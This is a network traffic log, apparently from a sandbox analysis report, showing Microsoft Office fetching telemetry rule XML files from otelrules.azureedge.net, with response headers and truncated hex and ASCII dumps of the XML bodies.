Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7c825ef0-601e-0001-5f02-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48q6t9vvmrkd293mg00000003f0000000002s7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49741	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48xlwdx82gahegw4000000003qg000000001bxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49722	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:38 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48qjg85buwfdynm5w00000003g0000000008s5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49742	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48brl8we3nu8cxwgn00000003qg00000000aadv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49743	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48tqvfc1ysmtbdrg0000000038000000000aggd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49744	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112638Z-1657d5bbd48xsz2nuzq4vfrzg800000003bg000000002tz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49745	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112639Z-1657d5bbd48f7nlxc7n5fnfzh0000000031g0000000096f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49746	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112639Z-1657d5bbd48vhs7r2p1ky7cs5w00000003n000000000ea6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49747	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112639Z-1657d5bbd48xlwdx82gahegw4000000003fg00000000g9bt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49748	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:39 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 11b227e2-601e-0002-7f6b-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112639Z-1657d5bbd482krtfgrg72dfbtn000000034000000000anft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49749	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:39 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 1be548a6-001e-00a2-4166-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112639Z-1657d5bbd48sqtlf1huhzuwq70000000033g00000000b9ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49751	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112640Z-1657d5bbd48q6t9vvmrkd293mg00000003b000000000byg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

